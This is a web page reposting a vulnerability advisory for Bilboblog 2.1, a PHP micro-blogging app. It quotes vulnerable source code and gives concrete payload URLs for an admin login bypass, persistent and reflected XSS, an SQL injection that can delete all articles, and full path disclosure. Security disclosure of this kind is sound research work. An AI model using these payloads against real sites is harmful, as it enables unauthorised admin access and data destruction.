• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Bilboblog 2.1 Multiple Remote Vulnerabilities

Bilboblog 2.1 Multiple Remote Vulnerabilities

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Bilboblog 2.1 Multiple Remote Vulnerabilities ,其中包含vulnerabilities,vulnerabilities 翻译,remote,remote是什么意思,remote control等知识点,遇到此问题的同学们可以参考下
------------------------------------------------------------------ Name : Bilboblog 2.1 Multiples Vulnerabilities
Description : Bilboblog is a small application of micro-blogging in Php / MySQL
Link : http://www.tux-planet.fr/bilboblog-version-021-english-translation/ Vuln. types : Login Bypass - Cross Site Scripting - SQL Injection - Full Path Disclosure Conditions : - SQL Injection : Magic Quotes Off
- Login Bypass, XSS : Register Globals On Credits : Black_H <bl4ck.h@gmail.com> ------------------------------------------------------------------
.: I. Login Bypass
------------------- This vulnerability need register_global on.
The file "admin/index.php" (and most of the admin files) includes the file 'login.php' (at line 23) which contains : 22| session_start();
23| $checkLogin = false;
24| #echo "toto".$_SESSION['admin_login']; // note: wtf ??
25| if(!isset($_SESSION['admin_login'])) {
26|
27| # Check form values
28| if (isset($_POST) && (!empty($_POST['admin_login'])) && (!empty($_POST['admin_passwd'])) ) {
29|
30| # Get Session vriables
31| $admin_login = trim($_POST['admin_login']);
32| $admin_passwd = trim($_POST['admin_passwd']);
33|
34| # Check login
35| if($admin_login == $login && $admin_passwd == $password) {
36| $checkLogin = true;
37| $_SESSION['admin_login'] = $admin_login;
38| $_SESSION['admin_passwd'] = $admin_passwd;
39| }
40| }
41|
42| } else {
43| $checkLogin = true;
44| }
45|
46| 22| if(!$checkLogin) {
47|
48| # Print login form
[...]
58| exit(0);
59| }

So, we need the session 'admin_login' ( $_SESSION['admin_login'] ) to have admin rights in all files. The script checks
if we have post good login and pass or not. It's look like good, but if we call directly the login.php file,
the $login and $password variable are not defined. We can set them with register_globals on, valid the form with
the same value and so set $_SESSION['admin_login'].

In facts, go on the page http://site.com/bilboblog/admin/login.php?login=1&password=1 and fill the forms with '1' value
and submit. Because checkLogin is true nothing is printed and you're admin :))) .: II. Cross Site Scripting
----------------------------

1) Permanent XSS

When an admin ( legitim or not :)) ) post an article, the enCode function is applied to the content : ---- 'admin/update.php'

25| # Check values
26| if(isset($_POST['content']) && $_POST['content'] != "") {
27| $content = enCode(substr(trim($_POST['content']), 0, $limit_post));
[...]
36| # Insert new content
37| $sql = "INSERT INTO $db_table VALUES ('', '".time()."', '$content');";
38| $result = mysql_query($sql); ---- 'admin/function.php'

141| function enCode($chaine) {
142|
[...] // # Youtube & Dailymotion encode url
145|
146| # Detect string encoding
147| $encodage = mb_detect_encoding($chaine);
148| if($encodage == "ASCII") $encodage = "iso-8859-1"; # Htmlentities unknown ASCII
149|
150| # Convert special char to html code
151| $chaine = htmlentities($chaine,ENT_QUOTES,$encodage);
152| $chaine = addslashes($chaine);
153|
154| # Return result
155| return $chaine;
156| } The function clean all html chars in the content that we've submit.
It protects the user against XSS in all pages of the blog but in the 'widget.php' file stripslashes()
and html_entity_decode() functions is applied to the content which is printed !
So je just need to get admin rights (see upper) post malicious code and share widget.php's url to the victim.

2) Unpermanents XSS

The file "index.php" includes the file 'head.php' (at line 21) which contains : 44| if ($_SERVER['QUERY_STRING'] != "" && intval($_SERVER['QUERY_STRING']) != "") {
[...]
55| $titleId = str2Url($liste[2], 100, 0).' - '.$title;
56| } 78| <title><?php if(!empty($titleId)) { echo $titleId; } else { echo $title; } ?></title>
79| </head> When a page is loaded, the script checks if a number is present in the url to see if she could print an article.
If the URL ( $_SERVER['QUERY_STRING'] ) contains a number (the id) the script load the article corresponding to the id
in $_SERVER['QUERY_STRING']. If $_SERVER['QUERY_STRING'] (the url) do not contain a number, the variable $titleId is not set and print :
we can define it on add a parameter titleId in the url and his value will be printed on the web page.
But, the variable $titleId is betwenn the <head> balise, so we need to add </title></head><body> before the malicious code.
We have : http://site.com/bilboblog/?titleId=TITLE</title></head><body><script>alert(1);</script>

Anyway, there are unfunny XSS in admin files and 'footer.php' : http://site.com/bilboblog/footer.php?t_lang[lang_copyright]=XSS
http://site.com/bilboblog/admin/?content=</textarea>XSS
http://site.com/bilboblog/admin/homelink.php?url=">XSS
http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_help]=XSS
http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_clear_cache]=XSS
http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_home]=XSS
http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_logout]=XSS

and also in /admin/post.php ...

.: III. SQL Injection
----------------------

In admin panel, we can delete articles by sending article's id we want to supress to the script delete.php
which clean the id of spaces and include it in a basic sql query :

25| # Check values
26| if(isset($_POST['num']) && $_POST['num'] != "") {
27| $article = trim($_POST['num']);

36| # Insert new content // It's look like a copy/paste :))
37| $sql = "DELETE FROM $db_table WHERE num_article = '$article';";
38| $result = mysql_query($sql);

So, with magic_quotes off, we can inject sql code in the query and, by example, delete all entries
(all articles) in the database.
To delete all entries, we must send a post request to delete.php, for the poc see at the end of file. .: IV. Full Path Disclosure
----------------------------

And to finish, the are to FPD which can be exploited for a server attack or in sql injection :
http://localhost/Audits/bilboblog/footer.php?enable_cache=false
http://localhost/Audits/bilboblog/pagination.php // don't need any con

您可能想查找下面的文章:

  • File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities
  • ITechBids 7.0 Gold (XSS/SQL) Multiple Remote Vulnerabilities
  • Bilboblog 2.1 Multiple Remote Vulnerabilities
  • HockeySTATS Online 2.0 Multiple Remote SQL Injection Vulnerabilities
  • tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities
  • jSite 1.0 OE (SQL/LFI) Multiple Remote Vulnerabilities
  • Boonex Dolphin 6.1.2 Multiple Remote File Inclusion Vulnerabilities

相关文章

  • Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit
  • CJ Ultra Plus
  • FlashGet 1.9.0.1012 (FTP PWD Response) BOF Exploit (safeseh)
  • pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
  • Comdev Web Blogger
  • Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit
  • Debian Sarge Multiple IMAP Server Denial of Service Exploit
  • Oracle Internet Directory 10.1.4 Remote Preauth DoS Exploit
  • Document Imaging SDK 10.95 ActiveX Buffer Overflow PoC
  • MS Windows (MessageBox) Memory Corruption Local Denial of Service

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit
    • Yourownbux 4.0 (COOKIE) Authentication Bypass Exploit
    • NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow Exploit
    • Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit
    • MS Internet Explorer (FTP Server Response) DoS Exploit
    • Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit
    • The Personal FTP Server 6.0f RETR Denial of Service Exploit
    • BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability
    • Oracle Internet Directory 10.1.4 Remote Preauth DoS Exploit
    • FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有